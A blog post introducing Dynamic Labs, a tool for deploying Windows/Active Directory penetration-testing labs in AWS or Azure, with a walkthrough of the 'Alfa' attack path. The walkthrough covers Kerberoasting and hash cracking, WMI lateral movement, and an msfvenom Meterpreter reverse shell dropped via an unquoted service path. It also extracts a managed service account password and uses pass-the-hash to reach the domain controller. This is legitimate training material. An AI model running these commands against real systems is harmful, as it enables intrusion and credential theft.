What’s Dynamic Labs?
Dynamic Labs is an open-source Infrastructure as Code solution that simplifies practicing various Windows tools, techniques, and procedures. It allows rapid deployment of your own customisable lab within AWS or Azure. The lab can comprise of multiple attack paths and exercises, while being open to technique customisation should you need it.
It’s primarily intended for use by penetration testers looking to hone their Windows and Active Directory skills. Compared to commercial solutions, Dynamic Labs is available to spin-up at demand, and can be used to practice a section of the lab in isolation (without having to complete a long and sometimes unrealistic attack path).
The project can be found at https://github.com/ctxis/DynamicLabs.
How does customisation work?
In summary, users use a pre-defined template for creating an arbitrary number of networks and systems.
{ module = "microsoft_windows_server_2016" size = "t2.medium" network_id = "000" private_ip = "10.1.1.10" class = "DC" id = "001" features = ["AD_Create", "AD_User”] attributes = [ { name = "AD_Create" value = [{name = "domain_netbios_name", value = "alfa"}] }, { name = "AD_User" value = [ {name = "username", value = "svc-backup-legacy"}, {name = "username", value = "svc-backup"} ] } ] }
For example, the above code defines a single system block with the following details:
- OS Image
- System Size
- Network
- IP Address
- Hostname ( Workspace + Network + Class + ID )
- Features
- Attributes
Features define what weaknesses or vulnerabilities a system has. Attributes then allow you to further customise a feature. For example, the ‘AD_User’ feature defines what users are created and the ‘AD_User_Password’ feature can then be used to set a pre-defined password. Further features can then be used to inject this user’s credentials into memory, a file on disk, or to add the user into groups across other systems.
The full documentation for Dynamic Labs (including which exercises and features it offers) can be found at https://dynamiclabs.readthedocs.io/.
The remainder of this post will illustrate deployment and solving an example attack path, Alfa.
The Alfa Attack Path
The Alfa attack path is quite basic, but it serves as a good example of how features can be put together to form an attack path. The path will test a working understanding of:
- Domain Reconnaissance to Plan Attack Paths
- Kerberoasting
- Lateral Movement using WMI
- Identifying Windows Local Privilege Escalation Vulnerabilities
- Exploiting Unquoted Service Path Vulnerabilities
- Extracting Managed Service Account Credentials
- Leveraging Stolen Credentials
The objective of the attack path is to reveal the contents of the ‘flag.txt’ file stored on the primary domain controller’s C drive root.
Setup
Detailed setup instructions for Dynamic Labs can be found at https://dynamiclabs.readthedocs.io/. It is especially important to refer to the F.A.Q. within the documentation for common errors during deployment.
Deployment
Once Dynamic Labs has been setup on a system, copy or rename the AWS/Azure example template (e.g. D:\Projects\dynamic-labs\Templates\attack-paths\Alfa\terraform-aws.tfvars.example) to ‘D:\Projects\dynamic-labs\Templates\attack-paths\Alfa\terraform-aws.tfvars’.
Within the new file, edit the AWS/Azure connection arguments and add in your IP subnet as shown below:
############ / AWS Credentials AWS_ACCESS_KEY = "141" AWS_SECRET_KEY = "141" AWS_REGION = "eu-west-2" ############ / Attacker IP Range attacker_ip = ["8.8.8.8/0"] # Your IP ############ / SSH Key public_key_file_candidate = "candidate_key.pub" public_key_file_management = "management_key.pub" private_key_file_management = "management_key.pem" ############ / Networking availability_zone = "eu-west-2a"
Please refer to documentation for a list of supported regions.
Once the template is saved, begin deploying infrastructure for the Alfa attack path as follows:
terraform workspace new alfa terraform apply --var-file="./Templates/attack-paths/alfa/terraform-aws.tfvars" ./Terraform/AWS
Once completed, take note of the following details within the Terraform Output:
- Management Server’s Public IP
- Kali Server Public IP
- Candidate Server’s Public IP
- Candidate Username
- Candidate Password
Then, transfer over the Terraform state onto the newly setup management server as follows:
scp -i .\SSH-Keys\mgmt_key.pem -r .\terraform.tfstate.d\alfa\terraform.tfstate [email protected]<management-server-ip>:~/
Thereafter, SSH onto the management server and begin system configuration using Ansible as follows:
ansible-playbook -i /etc/ansible/terraform.py ./Ansible/site.yml
Attack
Begin by using a Remote Desktop client (such as mstsc) to connect to the candidate server as the ‘candidate’ user with password ‘ChangeMe_alfa!’.
Domain Reconnaissance to Plan Attack Paths
Basic domain reconnaissance can identify the following:
1. The ‘alfa\candidate’ user is setup without any special privileges or groups.
2. The domain has a weak password policy.
PS C:\Users\candidate> net accounts /domain The request will be processed at a domain controller for domain alfa.lab. Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): 9000 Minimum password length: 0 Length of password history maintained: 24 Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: PRIMARY The command completed successfully.
3. The domain has two ‘service’ accounts.
Standard Account:
PS C:\Users\candidate> Get-ADUser -Filter * | Select-String svc CN=svc-backup-legacy,CN=Users,DC=alfa,DC=lab
Managed Service Account:
PS C:\Users\candidate> Get-ADServiceAccount svc-backup -Properties PrincipalsAllowedToRetrieveManagedPassword DistinguishedName : CN=svc-backup,CN=Managed Service Accounts,DC=alfa,DC=lab Enabled : True Name : svc-backup ObjectClass : msDS-GroupManagedServiceAccount ObjectGUID : a6823214-43f4-45aa-8eb7-6c6328dd3174 PrincipalsAllowedToRetrieveManagedPassword : {CN=BH2-001GS001,CN=Computers,DC=alfa,DC=lab} SamAccountName : svc-backup$ SID : S-1-5-21-4131358327-1391985098-2250286160-1115
A review of these accounts reveals that account 1 has an SPN and Account 2’s password can be retrieved only by the BH2-001GS001 computer account.
4. The MSA is in the privileged Backup Operators group.
PS C:\Users\candidate> Get-ADGroupMember "Backup Operators" distinguishedName : CN=svc-backup,CN=Managed Service Accounts,DC=alfa,DC=lab name : svc-backup objectClass : msDS-GroupManagedServiceAccount objectGUID : b17f3903-366f-493f-949c-a87b8f4350db SamAccountName : svc-backup$ SID : S-1-5-21-4225010826-3627037363-999924932-1115
As Backup Operators generally have access to the PDC’s filesystem, compromising this user may be key to this attack path.
Kerberoasting
Theory:
- https://adsecurity.org/?p=2293
- https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1?gi=d75714be07b0
Kerberoasting (T1558-3) is a common attack against service accounts with weak password. Using Rubeus to Kerberoast all accounts on this domain provides the following results:
PS C:\Users\candidate\Desktop> .\Rubeus.exe kerberoast /outfile:tgs.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 [*] Action: Kerberoasting [*] NOTICE: AES hashes will be returned for AES-enabled accounts. [*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. [*] Searching the current domain for Kerberoastable users [*] Found 1 user(s) to Kerberoast! [*] SamAccountName : svc-backup-legacy [*] DistinguishedName : CN=svc-backup-legacy,CN=Users,DC=alfa,DC=lab [*] ServicePrincipalName : legacybackup/BH2-001GS001 [*] PwdLastSet : 8/3/2020 8:03:01 PM [*] Supported ETypes : RC4_HMAC_DEFAULT [*] Hash written to C:\Users\candidate\Desktop\tgs.txt [*] Roasted hashes written to : C:\Users\candidate\Desktop\tgs.txt
The resulting ticket can then be cracked using a tool such as Hashcat or JohnTheRipper.
PS C:\Users\candidate\Desktop> .\john\run\john.exe --wordlist=.\john\run\wordlist.txt .\tgs.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Press 'q' or Ctrl-C to abort, almost any other key for status spring2020 (?) 1g 0:00:00:00 DONE (2020-08-03 20:03) 90.90g/s 363.6p/s 363.6c/s 363.6C/s summer..autumn Use the "--show" option to display all of the cracked passwords reliably Session completed
Lateral Movement
Theory: https://attack.mitre.org/tactics/TA0008/
A port scan of exposed common remoting protocols indicates that RDP, SMB and WMI are the most likely vectors for lateral movement. Basic reconnaissance using the ‘svc-backup-legacy’ account confirms that we do not have the necessary privileges to RDP or SMBExec, however WMI paves the way forward.
Identifying Windows Local Privilege Escalation Vulnerabilities
Theory: https://www.fuzzysecurity.com/tutorials/16.html
Once on this system, it’s simple enough to confirm that the ‘svc-backup-legacy’ user does not have any special privileges; however, on running a privilege escalation checks, the system is found to be vulnerable to Local Privilege Escalation via an Unquoted Service Path.
[BH2-001GS001.alfa.lab]: PS C:\Software\Snow Software> icacls .\ .\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(AD) BUILTIN\Users:(I)(CI)(WD) CREATOR OWNER:(I)(OI)(CI)(IO)(F)
Look at the SnowSoft service in-detail and confirm that:
- The service path is unquoted as C:\Software\Snow Software\Inventory\Agent\snowagent.exe
- We have write privileges at the ‘C:\Software\Snow.exe’ path to take-over control.
Exploiting Unquoted Service Path Vulnerabilities
Theory:
As stealth has obviously been optional for this mission, use MSFVenom to generate a Meterpreter shell that is in the format of a service binary, and exploit/multi/handler to receive it. Lastly, we can use base64 encode and certutil to quickly transfer it over and start the service.
Kali:
[email protected]:/home/ec2-user# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.3.21 LPORT=443 -f exe-service > snow.exe [email protected]:/home/ec2-user# cat snow.exe | base64 [payload] msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique LHOST 10.1.3.21 yes The listen address (an interface may be specified) LPORT 443 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.1.3.21:443
WMI:
runas /netonly /user:alfa\svc-backup-legacy powershell [BH2-001GS001.alfa.lab]: PS C:\Software> echo “[payload]” > snow.64 [BH2-001GS001.alfa.lab]: PS C:\Software> certutil -decode .\snow.64 snow.exe Input Length = 19376 Output Length = 7168 CertUtil: -decode command completed successfully. [BH2-001GS001.alfa.lab]: PS C:\Software> Get-Service snwsoft | Start-Service
Once exploited successfully, the attacker has gained administrative privileges on the BH2-002GS001 system.
Working with Managed Service Accounts
Theory:
Based on our initial reconnaissance, the BH2-002GS001 system has access to retrieve the password for a managed service account (svc-backup).
From the recent shell, the password for this account can be easily retrieved as follows:
$gmsa = Get-ADServiceAccount svc-backup -Properties 'msDS-ManagedPassword' [Convert]::ToBase64String($gmsa.'msDS-ManagedPassword')
This can then be decoded using functions from DSInternals as follows:
$mp = [Convert]::FromBase64String(<base64 encoded string>) $pwd = ConvertFrom-AdManagedPasswordBlob $mp ConvertTo-NTHash $pwd.SecureCurrentPassword
Using Rubeus yet again, the NTHash can be handed in for a Kerberos TGT, which can be leveraged to connect to CIFS on the PDC as follows:
C:\Windows\system32>runas /netonly /user:x\x powershell C:\Windows\system32>rubeus.exe asktgt /user:svc-backup$ /rc4:3f0c51b2ab63dd53b780f8b3adf9da60 /ptt [TRUNCATED] C:\Windows\system32>type \\DC.alfa.lab\c$\flag.txt So many flags, so little time.
The final jump from Backup Operator to the Administrator user is left as an exercise for the reader, however, there are multiple methods that can be explored:
- Trojan GPOs that
- Create an immediate execution task
- Create malicious group memberships
- Inject into common run registry keys
- Writing to the start-up folder, thereby relying on a privileged user to logon
- Modifying User Rights within the Default Domain Controller Policy
In conclusion
Once setup, it is quite trivial to deploy new labs or several instances of the same lab. It is also quite quick to customise and build reliable labs in this manner. Due these advantages, an Infrastructure as Code solution seems like the way forward for developing Windows and Active Directory security trainings; and hopefully we shall see you attempting more exercises and contributing additional features to the project.